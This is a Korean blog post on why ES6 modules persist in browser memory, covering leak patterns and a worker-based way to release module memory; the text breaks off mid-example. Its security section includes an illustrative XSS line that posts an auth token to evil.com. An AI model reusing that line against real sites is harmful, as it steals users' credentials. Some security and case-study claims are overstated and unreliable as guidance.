Blog

JavaScript 모듈의 영구적인 브라우저 메모리 지속성

ES6 모듈의 메모리 지속성 메커니즘과 가비지 컬렉션 동작, 실무 관리 전략을 포괄적으로 분석합니다.

JavaScript 모듈의 영구적인 브라우저 메모리 지속성

JavaScript ES6 모듈은 JavaScript 영역(realm)의 생명주기 동안 개별적으로 가비지 컬렉션이 불가능하며, 모듈 식별자(specifier) 문자열로 인덱스된 모듈 레지스트리에 영구적으로 캐시됩니다. 이러한 근본적인 제약은 모듈이 한 번 로드되면, 정적 import든 동적 import()든 관계없이 전체 JavaScript 컨텍스트가 파괴될 때까지(페이지 이동 또는 탭 닫기) 메모리에 지속됨을 의미합니다. 이 연구 문서는 모듈 메모리 관리 메커니즘, 브라우저 구현, 그리고 모듈 기반 애플리케이션의 메모리 관리를 위한 실용적 전략에 대한 포괄적인 기술 분석을 제공합니다.

핵심 원리와 메커니즘

브라우저에서 ES6 모듈의 가비지 컬렉션 동작 방식

ES6 모듈은 영구적인 메모리 관계를 설정하는 3단계 생명주기를 통해 작동합니다. 구성(construction) 단계에서는 모듈 파일을 가져와서 Module Record로 파싱합니다. 인스턴스화(instantiation) 단계에서는 라이브 바인딩을 통해 export와 import를 위한 메모리 위치를 할당합니다 - 이는 값을 복사하는 CommonJS와는 중요한 차이점입니다. 마지막으로 평가(evaluation) 단계에서는 모듈 코드를 정확히 한 번 실행하여 할당된 메모리 위치를 채웁니다.

라이브 바인딩(Live Binding)의 핵심 메커니즘

라이브 바인딩은 ES6 모듈에서 import된 값들이 export하는 모듈의 원본 값에 대한 "살아있는" 참조를 제공하는 메커니즘입니다. ES6 모듈이 CommonJS와 근본적으로 다른 이유이자, 모듈이 메모리에서 영구히 지속되는 핵심 메커니즘입니다.

🔑 핵심 개념:

  • 동일한 메모리 위치 공유: import와 export가 같은 메모리 주소를 참조
  • 실시간 동기화: export 모듈의 값 변경이 모든 import 모듈에 즉시 반영
  • 참조 기반: 값 복사가 아닌 참조 공유 방식

값을 import할 때, import하는 모듈과 export하는 모듈 모두 동일한 메모리 위치를 가리킵니다:

javascript
// 모듈 A가 변경 가능한 값을 export
export let counter = 0;
export function increment() { counter++; }

// 모듈 B가 import하고 라이브 변경사항을 관찰
import { counter, increment } from './moduleA.js';
console.log(counter); // 0
increment();
console.log(counter); // 1 - 라이브 바인딩이 변경사항을 반영

이는 가비지 컬렉션 동작에 근본적으로 영향을 미치는 영구적 참조를 생성합니다. 참조가 없어지면 수집될 수 있는 전통적인 JavaScript 객체와 달리, 모듈은 이러한 라이브 바인딩을 통해 영구적인 관계의 망을 만듭니다.

🔗 메모리 참조 체인:

code-highlight
GC Root → Module Map → Module A ⟷ Shared Memory ⟷ Module B

이 참조 체인 때문에 개별 모듈은 가비지 컬렉션될 수 없으며, 전체 JavaScript 컨텍스트가 파괴될 때까지 메모리에 유지됩니다.

⚡ 실무 영향:

  1. DataManager 같은 싱글톤은 의도적으로 지속되어야 하는 사례
  2. 큰 데이터나 이벤트 리스너는 명시적 정리가 필요
  3. SPA 환경에서는 특히 메모리 관리에 주의해야 함

모듈 레지스트리와 GC Root 관계

브라우저의 모듈 맵은 로딩 캐시이자 가비지 컬렉션 루트 세트의 기본 부분으로 작동합니다. 이 레지스트리는 모든 로드된 모듈을 정규 URL로 키로 하여 유지하며, GC 루트에서 모든 로드된 모듈로의 직접 경로를 만듭니다:

javascript
// 개념적 모듈 맵 구조
ModuleMap = {
  "https://example.com/module.js": {
    status: "evaluated",
    moduleRecord: ModuleRecord,
    namespace: ModuleNamespaceExotic,
    exports: {...}
  }
}

TC39 멤버 Mark Miller가 설명한 바와 같이: "식별자에서 모듈 인스턴스로의 테이블은 식별자로 인덱스됩니다. 식별자는 문자열이므로 이 테이블은 weak하지 않습니다. 이는 것들을 떨어뜨릴 수 있는 '캐시' 의미가 아닙니다. 오히려 모듈 인스턴스의 레지스트리입니다."

GC 루트 역할을 하는 모듈 관련 객체들에는 모든 로드된 모듈을 포함하는 전역 모듈 맵, 변수 바인딩을 유지하는 모듈 환경 레코드, export를 속성으로 노출하는 모듈 네임스페이스 객체, 그리고 모듈 메타데이터를 제공하는 import meta 객체가 포함됩니다. 이들은 개별 모듈 가비지 컬렉션을 방지하는 끊어지지 않는 체인을 만듭니다.

모듈 Export와 전역 객체의 차이점

모듈 export와 전역 객체는 근본적으로 다른 메모리 관리 특성을 보입니다:

측면모듈 Export전역 객체 (window)
스코프모듈 로컬 환경전역 객체 속성
GC 동작라이브 바인딩을 통해 유지전역 객체를 통해 유지
메모리 참조모듈 맵을 통한 간접 참조직접 전역 참조
정리모듈 언로딩 필요개별적으로 삭제 가능
격리모듈 스코프에 캡슐화전역적으로 접근 가능
보안성직접 접근 불가직접 조작 가능

모듈 export는 모듈 레지스트리의 영구적 캐싱을 통해 메모리에 남아있는 반면, 전역 객체(window)에 등록된 것은 개별적으로 제거할 수 있습니다. 이 구분은 메모리 효율적인 애플리케이션을 설계할 때 중요해집니다.

모듈 레지스트리의 보안 이점

ES6 모듈의 모듈 레지스트리는 window 객체와 달리 직접 접근이 불가능하여 보안성이 크게 향상됩니다.

🔐 보안성 비교

측면window 방식모듈 레지스트리 방식
직접 접근window.DataManagerwindow.DataManager
콘솔 조작즉시 가능 🔴import 필요 🟡
XSS 공격매우 취약 🔴제한적 🟡
실수 방지충돌 위험 🔴안전함 🟢
정적 분석어려움 🔴가능함 🟢

🛡️ 보안 개선 효과

1. 네임스페이스 보호

javascript
// ❌ window 방식: 전역 오염
window.DataManager = manager;
console.log(Object.keys(window).length); // 증가

// ✅ 모듈 방식: 깨끗한 네임스페이스  
export const DataManager = manager;
console.log(Object.keys(window).length); // 변화 없음

2. XSS 공격 차단

javascript
// ❌ window 방식: 즉시 탈취 가능
<script>
  fetch('https://evil.com', { 
    body: window.authManager.token 
  });
</script>

// ✅ 모듈 방식: 복잡한 과정 필요
<script>
  import('./auth.js').then(m => { /* 추가 단계 필요 */ });
</script>

3. 실수 방지

javascript
// ❌ window 방식: 변수명 충돌
var AuthManager = "실수!";
window.AuthManager.getToken(); // TypeError!

// ✅ 모듈 방식: 안전함
var AuthManager = "실수!"; 
import { AuthManager } from './auth.js'; // 정상 작동

💡 핵심 인사이트

ES6 모듈은 "Security by Obscurity"가 아닌 "Security by Design"을 제공합니다:

  • 모듈 레지스트리는 브라우저 내부에 캡슐화됨
  • 오직 명시적인 import를 통해서만 접근 가능
  • 전역 네임스페이스 오염 방지
  • 코드 인젝션 공격 표면 축소

따라서 window.DataManager = DataManager와 같은 코드는 ES6 모듈에서 불필요할 뿐만 아니라 보안을 약화시키는 코드입니다.

브라우저 모듈 로딩과 캐싱 시스템

브라우저는 모듈을 위한 계층적 캐싱 시스템을 구현합니다. 모듈 맵 캐시는 로드된 모듈의 주요 레지스트리 역할을 하며, URL로 Module Record를 영구적으로 저장합니다. HTTP 리소스 캐시는 표준 캐싱 헤더에 따라 원시 모듈 파일을 저장합니다. 추가로 V8과 같은 엔진은 성능 최적화를 위해 파싱된 바이트코드를 저장하는 컴파일 캐시를 유지합니다.

모듈 로딩은 depth-first post-order 순회를 통한 엄격한 평가 순서를 따르며, 종속성이 종속자보다 먼저 평가되도록 보장합니다. 순환 종속성은 라이브 바인딩과 신중한 순서를 통해 해결되지만, 순환에 있는 모든 모듈이 함께 유지되어야 하는 강하게 연결된 구성요소를 만듭니다.

기술적 심화 분석

모듈 메모리 관리를 위한 내부 브라우저 메커니즘

V8의 구현은 정교한 메모리 관리 전략을 보여줍니다. 모듈은 Isolate의 모듈 캐시에 저장되며, 영구 핸들이 모듈 네임스페이스 객체를 살아있게 유지합니다. 엔진은 젊은 세대와 오래된 세대에 대한 별개의 전략을 가진 세대별 가비지 컬렉터인 Orinoco를 사용합니다.

젊은 세대(1-8MB)는 semi-space 설계의 Scavenger 알고리즘을 사용하며, 두 번의 GC 사이클을 버텨낸 객체를 오래된 세대로 승격시킵니다. 오래된 세대는 증분적 마킹, 동시 스위핑, 그리고 단편화 휴리스틱에 기반한 선택적 압축을 사용하는 Mark-Sweep-Compact 수집을 사용합니다.

SpiderMonkey는 하이브리드 추적 가비지 컬렉터로 다른 접근법을 취합니다. V8보다 더 공격적인 증분적 수집을 사용하여 실행을 더 작은 슬라이스로 나눕니다. 엔진은 힙 파티션을 독립적으로 수집할 수 있는 zone 기반 수집을 사용하지만, 모듈들의 상호 연결된 특성 때문에 일반적으로 zone에 걸쳐 있습니다.

JavaScriptCore는 모듈 메모리에 영향을 미치는 다계층 최적화 접근법을 구현합니다. Low Level Interpreter(LLInt)로 시작하여, 자주 호출되는 함수는 Baseline JIT(6회 이상 호출), DFG JIT(60회 이상 호출), 그리고 마지막으로 매우 핫한 코드를 위한 FTL JIT를 거칩니다. 이 계층화된 컴파일은 모듈 코드가 여러 컴파일된 형태로 동시에 존재할 수 있음을 의미하여 메모리 사용량에 영향을 줍니다.

모듈 생명주기와 메모리 유지

파싱 단계에서 추상 구문 트리가 생성되고 모듈의 생명주기 동안 영구적으로 유지됩니다. 모듈 Record 객체는 정적 구조 정보와 함께 할당되고, import/export 항목은 아직 라이브 바인딩을 만들지 않은 채로 분류됩니다. 이 단계에서의 메모리 사용량은 상대적으로 낮지만 영구적입니다.

인스턴스화 단계가 가장 중요한 메모리 영향을 미칩니다. 각 모듈에 대해 Environment Record가 생성되고, 라이브 바인딩이 모듈 간의 공유 메모리 참조를 설정하며, export 객체가 할당되지만 아직 채워지지는 않습니다. 순환 종속성 지원에는 바인딩 슬롯의 사전 할당이 필요하여 메모리 오버헤드를 더욱 증가시킵니다.

평가 중에는 모듈 실행 컨텍스트가 생성되고 무한정 보존됩니다. 최상위 변수는 전역 스코프가 아닌 모듈 스코프에 할당되고, 모듈 내의 함수 클로저는 모듈 환경에 대한 참조를 유지합니다. 평가 중의 모든 부작용은 추가적인 GC 루트를 만들 수 있어 모듈을 메모리에 더욱 고착시킵니다.

다양한 모듈 시스템 간의 비교

성능 분석은 모듈 시스템 간의 중요한 차이를 보여줍니다. 특히 메모리 관리와 가비지 컬렉션 측면에서 각 시스템은 근본적으로 다른 접근 방식을 사용합니다.

ES6 모듈 vs CommonJS 핵심 차이점

측면CommonJSES6 모듈
기본 상태require.cache에 임시 저장모듈 맵에 영구 저장
가비지 컬렉션delete require.cache[...]로 가능불가능
영구 보존window/global수동 등록 필요자동으로 보존
개발자 작업명시적 메모리 관리모듈 내부 정리만
값 공유 방식값 복사라이브 바인딩
메모리 효율성낮음 (복사 오버헤드)높음 (참조 공유)
런타임 성능빠른 접근약간의 오버헤드
Tree Shaking어려움우수함

📝 실무적 의미:

  1. ES6 모듈로 전환 시window.XXX = XXX 코드들을 제거할 수 있음
  2. 메모리 관리 단순화 → 전역 등록 걱정 없이 모듈만 잘 설계하면 됨
  3. 하지만 책임 증가 → 모듈 내부의 이벤트 리스너, 타이머 등은 여전히 정리해야 함

ES6 모듈은 우수한 tree shaking 기능을 제공하여 프로덕션 빌드에서 번들 크기를 20-50% 줄입니다. 라이브 바인딩은 공유 값에 대한 더 나은 메모리 효율성을 가능하게 하지만, 속성 접근에 약간의 런타임 오버헤드가 있습니다. 정적 특성은 동적 시스템으로는 불가능한 빌드 타임 최적화를 허용합니다.

CommonJS는 동기적 로딩 때문에 Node.js 환경에서 10-40% 더 빠른 시작을 보입니다. 하지만 값 복사는 더 높은 메모리 사용량을 야기하고, 정적 분석의 부족은 효과적인 데드 코드 제거를 방지합니다. Node.js에서는 require.cache를 수동으로 지울 수 있지만, 브라우저의 ES6 모듈에서는 불가능합니다.

AMD와 UMD 패턴은 래퍼 함수와 로더 코드 때문에 더 높은 메모리 오버헤드를 가집니다. 비동기 브라우저 로딩을 위해 설계되었지만, ES6 모듈의 최적화 기회가 부족하고 점점 레거시 접근법으로 여겨집니다.

메모리 누수 vs 의도된 싱글톤 패턴

메모리 누수와 의도된 지속성 사이의 구분이 중요합니다. 모듈 싱글톤 동작은 설계에 의한 것입니다 - 모듈은 import 간에 상태를 유지해야 합니다. 하지만 이는 여러 누수 패턴을 만듭니다:

javascript
// 의도된 싱글톤 패턴 - 좋음
let instance = null;
export function getInstance() {
  if (!instance) {
    instance = new ComplexClass();
  }
  return instance;
}

// 의도하지 않은 메모리 누수 - 나쁨
const cache = new Map();
export function process(data) {
  // 캐시가 무한정 증가
  cache.set(Date.now(), data);
  return processData(data);
}

ES6 모듈의 간편한 싱글톤 패턴

ES6 모듈에서는 전통적인 getInstance() 패턴 대신 더 간단한 방식으로 싱글톤을 만들 수 있습니다:

javascript
// 🟢 현대적인 ES6 모듈 싱글톤 (권장)
export const ServiceManager = new _ServiceManager();
export const DatabasePool = new ConnectionPool();
export const Logger = new AppLogger();

// 🟡 전통적인 싱글톤 패턴 (여전히 유효하지만 더 복잡)
let instance = null;
export function getInstance() {
  if (!instance) {
    instance = new ComplexClass();
  }
  return instance;
}

⚡ 두 방식 모두 완전히 동일한 싱글톤 효과를 제공합니다!

ES6 모듈의 평가는 딱 한 번만 실행되므로:

javascript
// service-manager.js
console.log('모듈 평가 실행!'); // 첫 import에서만 실행됨
export const ServiceManager = new _ServiceManager();
// ↑ 이 라인도 딱 한 번만 실행됨!
javascript
// 여러 곳에서 import해도 모두 동일한 인스턴스
import { ServiceManager } from './service-manager.js';  // 평가 실행
import { ServiceManager } from './service-manager.js';  // 캐시에서 반환
import { ServiceManager } from './service-manager.js';  // 캐시에서 반환

📊 두 패턴 비교

측면export const 방식getInstance() 방식
싱글톤 보장✅ 동일함✅ 동일함
지연 초기화❌ 즉시 생성✅ 첫 호출 시 생성
코드 간결성✅ 매우 간단❌ 더 복잡
TypeScript 지원✅ 우수함✅ 우수함
메모리 사용즉시 할당필요시 할당

🎯 언제 어떤 방식을 사용할까?

export const 방식 (대부분의 경우 권장):

  • 코드가 간결하고 명확
  • 일반적인 싱글톤 패턴
  • TypeScript에서 타입 추론 우수

🔄 getInstance() 방식이 필요한 경우:

javascript
// 무거운 초기화나 조건부 생성이 필요한 경우만
let databaseConnection = null;
export function getDatabaseConnection() {
  if (!databaseConnection) {
    // 무거운 초기화 작업
    databaseConnection = new Database({
      host: process.env.DB_HOST,
      credentials: loadCredentials(), // 파일 읽기 등
    });
  }
  return databaseConnection;
}

결론: ES6 모듈의 라이브 바인딩 덕분에 export const 방식이 전통적인 싱글톤 패턴과 100% 동일한 효과를 제공합니다!

🚨 주의: ES6 모듈 스코프 변수의 영구 보존

ES6 모듈 스코프에 선언된 변수는 페이지가 닫힐 때까지 영구 보존됩니다. 이것이 ES6 모듈에서 가장 위험한 메모리 누수 패턴 중 하나입니다.

🔗 메모리 참조 체인 분석

code-highlight
GC Root (브라우저)
Module Registry  
your-module.js (Module Record)
Module Environment
const cache = new Map(); ← 영구 보존!
cache.set()으로 추가된 모든 데이터 ← 계속 누적!

🚨 실제 위험 시나리오

javascript
// your-module.js
const cache = new Map();  // ← 이 Map은 절대 해제되지 않음!

export function process(data) {
  cache.set(Date.now(), data);  // ← 호출할 때마다 계속 추가
  return processData(data);
}

// 사용하는 곳
import { process } from './your-module.js';

// 10,000번 호출하면 cache에 10,000개 항목이 영구 저장!
for (let i = 0; i < 10000; i++) {
  process(`data-${i}`);
}
// → 모든 데이터가 페이지 이동 전까지 메모리에 남아있음

💀 최악의 케이스: 장시간 실행 SPA

  • 24/7 SPA 앱: 사용자가 탭을 계속 열어둠
  • 매분 API 호출: 1일 = 1,440개, 1달 = 43,200개 캐시 항목
  • 예상 메모리 사용량: 2GB+
  • 결과: 브라우저 크래시! 💥

✅ 메모리 누수 방지 해결책

javascript
// 1. 크기 제한 (LRU 캐시 패턴)
const cache = new Map();
const MAX_SIZE = 100;

export function process(data) {
  if (cache.size >= MAX_SIZE) {
    const firstKey = cache.keys().next().value;
    cache.delete(firstKey);  // FIFO: 가장 오래된 항목 삭제
  }
  cache.set(Date.now(), data);
  return processData(data);
}

// 2. TTL (Time To Live) 구현
const TTL = 5 * 60 * 1000; // 5분
const cache = new Map();

export function processWithTTL(data) {
  // 만료된 항목 정리
  const now = Date.now();
  for (const [key, value] of cache) {
    if (now - value.timestamp > TTL) {
      cache.delete(key);
    }
  }
  cache.set(now, { data, timestamp: now });
  return processData(data);
}

// 3. 명시적 정리 메서드 제공
export function clearCache() {
  cache.clear();
}

// 4. WeakMap 활용 (객체 키만 가능)
const weakCache = new WeakMap();
export function processWithWeakMap(obj, data) {
  weakCache.set(obj, data);  // obj가 GC되면 자동 정리
  return processData(data);
}

🎯 핵심 교훈

ES6 모듈에서 Map, Set, Array 등을 모듈 스코프에 선언할 때는 반드시:

  • ✅ 크기 제한 구현
  • ✅ TTL 메커니즘 추가
  • ✅ 명시적 정리 함수 제공
  • ✅ 가능하면 WeakMap/WeakSet 사용 고려

모듈 스코프 이벤트 리스너는 특히 교활한 누수 패턴을 나타냅니다. 모듈이 지속되므로, 모듈 스코프에서 연결된 모든 이벤트 리스너는 애플리케이션의 생명주기 동안 활성 상태로 남아있어, 잠재적으로 큰 객체나 DOM 요소에 대한 참조를 보유할 수 있습니다.

실용적 영향

모듈이 실제로 가비지 컬렉션되는 경우 vs 지속되는 경우

가혹한 현실: ES6 모듈은 JavaScript 영역의 생명주기 동안 개별적으로 가비지 컬렉션되지 않습니다. 동적 import조차도 식별자별로 영구적으로 캐시됩니다. 이는 누적된 모듈 참조가 상당한 메모리 증가를 야기할 수 있는 장시간 실행 애플리케이션에 깊은 영향을 미칩니다.

단일 페이지 애플리케이션의 경우, 라우트 기반 동적 import가 시간이 지나면서 정리 없이 누적됩니다. 모듈 스코프 클로저는 큰 객체에 대한 참조를 무한정 보유합니다. 실제 정리는 페이지 이동에서만 발생하므로, 사용자가 장시간 열어두는 애플리케이션에서는 메모리 관리가 중요해집니다.

SPA 컨텍스트와 모듈 메모리 동작

개발 환경에서 핫 모듈 교체(Hot Module Replacement, HMR)는 추가적인 메모리 문제를 야기합니다. Webpack의 HMR은 모듈 교체 시 이전 모듈 참조를 완전히 정리하지 못해 여러 재로드 사이클에 걸쳐 메모리가 누적됩니다. Vite의 네이티브 ESM 접근법이 더 깨끗한 HMR을 제공하지만, ES6 모듈의 근본적인 지속성 특성은 여전히 남아있습니다.

모듈 페더레이션은 공유 모듈이 복잡한 참조 체인을 만드는 추가적인 복잡성을 도입합니다. 원격 진입점은 애플리케이션 생명주기 동안 지속되고, 버전 불일치는 중복 모듈 로딩을 야기하여 메모리 사용량을 더욱 증가시킬 수 있습니다.

메모리 관리를 위한 모범 사례

효과적인 메모리 관리에는 명시적 생명주기 패턴이 필요합니다:

javascript
export class FeatureModule {
  constructor() {
    this.resources = new Map();
    this.listeners = [];
    this.disposed = false;
  }
  
  initialize() {
    if (this.disposed) throw new Error('Module disposed');
    // 정리 추적과 함께 리소스 설정
    const handler = (e) => this.handleEvent(e);
    document.addEventListener('app:event', handler);
    this.listeners.push(() => {
      document.removeEventListener('app:event', handler);
    });
  }
  
  dispose() {
    this.disposed = true;
    this.resources.clear();
    this.listeners.forEach(cleanup => cleanup());
    this.listeners.length = 0;
  }
}

큰 데이터를 관리할 때는 영구적 캐싱을 피하기 위해 JSON 모듈 import보다 fetch()를 선호하세요. 가비지 컬렉션을 허용하는 객체 연관에는 WeakMap과 WeakSet을 사용하세요. 새로운 객체를 만들기보다는 객체를 재사용하는 리소스 풀링을 구현하세요.

실제 시나리오와 사례 연구

2020년 Meta의 Facebook.com 재설계는 중요한 모듈 메모리 문제를 드러냈습니다. 모듈 스코프에서 캐시된 React 컴포넌트가 연쇄적인 메모리 누수를 야기했고, 단일 컴포넌트 누수가 전체 Fiber 트리와 DOM 요소를 유지했습니다. 이는 언마운트된 컴포넌트에 대한 React 18의 공격적인 정리 순회로 이어졌습니다.

프로덕션 모듈 페더레이션 배포는 공유 종속성의 여러 버전이 동시에 로드되는 메모리 증가 패턴을 보여주었습니다. 해결책에는 페더레이션 구성에서 엄격한 싱글톤 강제와 신중한 버전 관리가 포함됩니다.

브라우저 구현 세부사항

다양한 브라우저의 모듈 메모리 처리 방식

Chrome V8은 64비트 시스템에서 메모리 효율성을 위해 압축된 32비트 포인터를 사용합니다. 모듈 바이트코드와 메타데이터는 오래된 세대 힙에 저장되며, 모듈 네임스페이스 객체는 무한정 캐시됩니다. 엔진의 Orinoco 가비지 컬렉터는 일시 정지 시간을 최소화하기 위해 동시 마킹과 증분적 스위핑을 사용합니다.

Firefox SpiderMonkey는 독립적인 힙 파티션 수집을 허용하는 zone 기반 수집을 구현합니다. 하지만 모듈 상호 연결은 일반적으로 zone에 걸쳐 있어 이 최적화를 제한합니다. 엔진은 V8보다 더 공격적인 증분적 수집을 사용하여 작업을 더 작은 슬라이스로 나눕니다.

Safari JavaScriptCore는 WebCore 객체에 대한 참조 카운팅과 JavaScript 객체에 대한 보수적 가비지 컬렉션을 결합합니다. 보수적 GC는 힙 객체를 가리키는 스택 주소를 루트로 취급하여, 필요한 것보다 잠재적으로 더 많은 객체를 살려둘 수 있지만 안전성 보장을 제공합니다.

모듈 레지스트리 내부와 구현

모든 브라우저는 모듈 식별자를 키로 사용하는 해시 맵으로 모듈 레지스트리를 구현합니다. V8의 구현에는 일관된 동작을 보장하는 명시적 상태 열거형(kUninstantiated, kInstantiating, kInstantiated, kEvaluating, kEvaluated, kErrored)과 결정적 해결이 포함됩니다.

모듈 네임스페이스 객체는 특수한 속성 해결 의미론을 가진 이국적 객체로 구현됩니다. 원래 모듈 export에 대한 라이브 바인딩을 유지하고, 생성 후 불변 구조를 가지며, 속성 접근이 실제 export 값에 위임되는 프록시 같은 동작을 보입니다.

모듈 메모리 사용량 디버깅과 프로파일링

Chrome DevTools는 포괄적인 메모리 프로파일링을 제공합니다:

javascript
// 힙 스냅샷에서 모듈 식별하기
// 1. "Script" 객체 찾기 (모듈 소스 코드)
// 2. "(compiled code)" 객체 찾기 (JIT 출력)  
// 3. export 속성으로 모듈 네임스페이스 객체 검색
// 4. 모듈 레지스트리를 통한 유지 경로 추적

자동화된 테스트를 위해 가능한 곳에서 Memory API를 활용하세요:

javascript
async function measureModuleMemoryImpact() {
  const before = await performance.measureUserAgentSpecificMemory();
  await import('./large-module.js');
  const after = await performance.measureUserAgentSpecificMemory();
  
  const increase = after.bytes - before.bytes;
  console.log(`모듈 메모리 영향: ${increase} 바이트`);
}

고급 주제

동적 import와 가비지 컬렉션 동작

❌ 흔한 오해: "동적 import는 메모리를 해제한다"

동적 import(import())도 영구 캐싱됩니다! 정적 import와 동일한 모듈 레지스트리를 사용하므로 한 번 로드된 모듈은 절대 제거되지 않습니다:

javascript
// 첫 번째 호출: 모듈 로드 & 영구 캐싱
const module1 = await import('./heavy-module.js');  

// 두 번째 호출: 캐시에서 즉시 반환 (메모리 추가 사용 X)
const module2 = await import('./heavy-module.js');  

console.log(module1 === module2); // true - 동일한 인스턴스!

🚨 더 위험한 패턴: 쿼리 파라미터로 캐시 우회

javascript
// 매번 새로운 모듈 인스턴스 생성 = 메모리 누수!
for (let i = 0; i < 100; i++) {
  const mod = await import(`./module.js?v=${i}`);
  // 각각 별도의 모듈로 취급되어 100개 모두 메모리에 남음!
}

쿼리 매개변수를 사용한 캐시 무효화(import(\./module.js?t=$1774240129552`)`)는 새로운 모듈 인스턴스를 강제하지만, 이전 인스턴스가 제거되지 않고 계속 누적되어 심각한 메모리 누수를 야기합니다.

📊 실제 메모리 영향

javascript
// SPA에서 라우트별 동적 import
async function loadRoute(routeName) {
  return await import(`./routes/${routeName}.js`);
}

// 사용자가 20개 라우트를 방문하면:
// → 20개 모듈 모두 메모리에 영구 보존
// → 각 라우트가 10MB라면 = 200MB 영구 점유

웹 워커와 모듈 메모리 격리

🔐 웹 워커의 독립적인 모듈 레지스트리

웹 워커는 완전히 독립된 JavaScript 실행 환경을 제공하며, 각 워커는 자체 모듈 레지스트리를 보유합니다:

javascript
// 메인 스레드
const worker1 = new Worker('/worker.js', { type: 'module' });
const worker2 = new Worker('/worker.js', { type: 'module' });

// worker.js
import { heavyModule } from './heavy-module.js';  // 10MB 모듈

// 결과:
// - 메인 스레드: heavy-module.js 로드 안 됨
// - Worker 1: heavy-module.js 독립 인스턴스 (10MB)
// - Worker 2: heavy-module.js 또 다른 독립 인스턴스 (10MB)
// → 총 20MB 메모리 사용!

📊 메모리 격리의 장단점

장점:

  • 완벽한 격리: 워커 간 모듈 상태 간섭 없음
  • 독립적 GC: 워커 종료 시 해당 워커의 모든 모듈 메모리 해제
  • 보안 강화: 워커 간 코드 공유 불가능

단점:

  • 메모리 중복: 같은 모듈도 워커마다 별도 로드
  • 초기화 비용: 각 워커가 모듈을 처음부터 평가
  • 캐시 비효율: 모듈 캐싱 이점 없음

🎯 워커 종료로 모듈 메모리 해제하기

웹 워커만이 ES6 모듈 메모리를 실제로 해제할 수 있는 유일한 방법입니다:

javascript
// 메인 스레드
let worker = new Worker('/heavy-worker.js', { type: 'module' });

// heavy-worker.js
import { process } from './huge-library.js';  // 50MB 라이브러리
self.onmessage = (e) => {
  const result = process(e.data);
  self.postMessage(result);
};

// 작업 완료 후 워커 종료
worker.terminate();  // ← 50MB 완전히 해제됨! 🎉
worker = null;

// 필요시 새 워커 생성 (모듈 다시 로드)
worker = new Worker('/heavy-worker.js', { type: 'module' });

💡 핵심 전략: 워커를 통한 프로그래밍적 메모리 관리

맞습니다! 워커 + onmessage 패턴으로 ES6 모듈의 메모리를 제어할 수 있습니다:

javascript
// 🔴 메인 스레드: 모듈 영구 보존
import { heavyProcess } from './heavy-lib.js';  // 영구 메모리 점유
const result = heavyProcess(data);

// 🟢 워커 패턴: 필요할 때만 메모리 사용
class ModuleExecutor {
  async executeWithModule(modulePath, methodName, data) {
    // 1. 워커 생성 (모듈 로드)
    const worker = new Worker('/executor-worker.js', { type: 'module' });
    
    // 2. 작업 실행
    const result = await new Promise((resolve, reject) => {
      worker.onmessage = (e) => resolve(e.data);
      worker.onerror = reject;
      worker.postMessage({ modulePath, methodName, data });
    });
    
    // 3. 워커 종료 (모듈 메모리 해제!)
    worker.terminate();
    
    return result;
  }
}

// executor-worker.js
self.onmessage = async (e) => {
  const { modulePath, methodName, data } = e.data;
  
  // 동적으로 모듈 로드
  const module = await import(modulePath);
  
  // 메서드 실행
  const result = module[methodName](data);
  
  // 결과 반환
  self.postMessage(result);
  // 워커 종료 시 이 모듈도 함께 해제됨!
};

// 사용 예
const executor = new ModuleExecutor();

// heavy-lib.js를 필요할 때만 로드하고 즉시 해제
const result = await executor.executeWithModule(
  './heavy-lib.js', 
  'processData', 
  myData
);
// heavy-lib.js 메모리 완전 해제됨! ✨

⚖️ 트레이드오프 정리

접근 방식메모리 관리성능복잡도
메인 스레드 import❌ 영구 보존⚡ 빠른 재사용😊 단순
워커 일회성 사용✅ 완전 해제 가능🐢 매번 재로드😐 중간
워커 풀 재사용🔄 선택적 해제⚡ 균형적😅 복잡

결론: 큰 라이브러리나 가끔 사용하는 모듈은 워커 패턴으로 메모리를 절약할 수 있습니다!

⚠️ 현실적인 사용 권장사항

워커 패턴은 일반적인 해결책이 아닙니다! 실제로는 다음과 같이 접근합니다:

javascript
// 🟢 일반적인 경우: 그냥 import 사용 (99% 케이스)
import { utils } from './utils.js';  // 대부분 OK
import { format } from 'date-fns';    // 라이브러리도 OK

// 🟡 주의가 필요한 경우: 메모리 관리 전략 적용
// 1. 큰 데이터 캐시
const cache = new Map();
const MAX_CACHE_SIZE = 100;  // 크기 제한 필수!

// 2. 이벤트 리스너
let cleanup = null;
export function init() {
  cleanup = () => removeEventListener('resize', handler);
  addEventListener('resize', handler);
}
export function destroy() {
  cleanup?.();
}

// 🔴 워커 패턴이 필요한 특수 케이스 (1% 미만)
// - 수백 MB 이상의 거대 라이브러리
// - 한 번만 실행되는 무거운 초기화 작업
// - 메모리 민감한 환경 (임베디드 브라우저 등)

📊 실무에서의 우선순위

  1. 첫 번째 선택: 일반 import (95% 이상)

    • 간단하고 빠름
    • 대부분의 앱은 메모리 문제 없음
    • 브라우저 최적화 활용
  2. 두 번째 선택: 스마트한 메모리 관리 (4%)

    • Map/Set 크기 제한
    • TTL 구현
    • 명시적 cleanup 함수
  3. 마지막 선택: 워커 패턴 (1% 미만)

    • 정말 큰 라이브러리 (100MB+)
    • 메모리가 극도로 제한된 환경
    • 복잡도를 감수할 만한 명확한 이유

🎯 실용적 조언

javascript
// ✅ 대부분의 경우 이것으로 충분
import { myFunction } from './my-module.js';

// ❌ 과도한 최적화 (불필요한 복잡도)
const worker = new Worker('./worker.js');
// 10KB 모듈을 위해 워커 사용? No!

워커 패턴은 "알아두면 좋은 고급 기법"이지, 기본 접근법이 아닙니다!

💡 SharedArrayBuffer를 통한 메모리 공유

워커 간 중복 메모리를 줄이기 위한 전략:

javascript
// 메인 스레드
const sharedBuffer = new SharedArrayBuffer(1024 * 1024); // 1MB
const sharedArray = new Int32Array(sharedBuffer);

// 여러 워커에 동일한 버퍼 전달
worker1.postMessage({ buffer: sharedBuffer });
worker2.postMessage({ buffer: sharedBuffer });

// worker.js
self.onmessage = (e) => {
  const sharedArray = new Int32Array(e.data.buffer);
  // 모든 워커가 동일한 메모리 공간 접근
  
  // ⚠️ 동기화 필요!
  Atomics.add(sharedArray, 0, 1);  // 원자적 연산
};

🚀 실전 활용 패턴: 모듈 풀(Pool) 관리

javascript
class ModuleWorkerPool {
  constructor(workerPath, poolSize = 4) {
    this.workers = [];
    this.queue = [];
    
    // 워커 풀 생성
    for (let i = 0; i < poolSize; i++) {
      const worker = new Worker(workerPath, { type: 'module' });
      this.workers.push({ worker, busy: false });
    }
  }
  
  async execute(data) {
    // 사용 가능한 워커 찾기
    let availableWorker = this.workers.find(w => !w.busy);
    
    if (!availableWorker) {
      // 모든 워커가 바쁘면 대기
      return new Promise(resolve => {
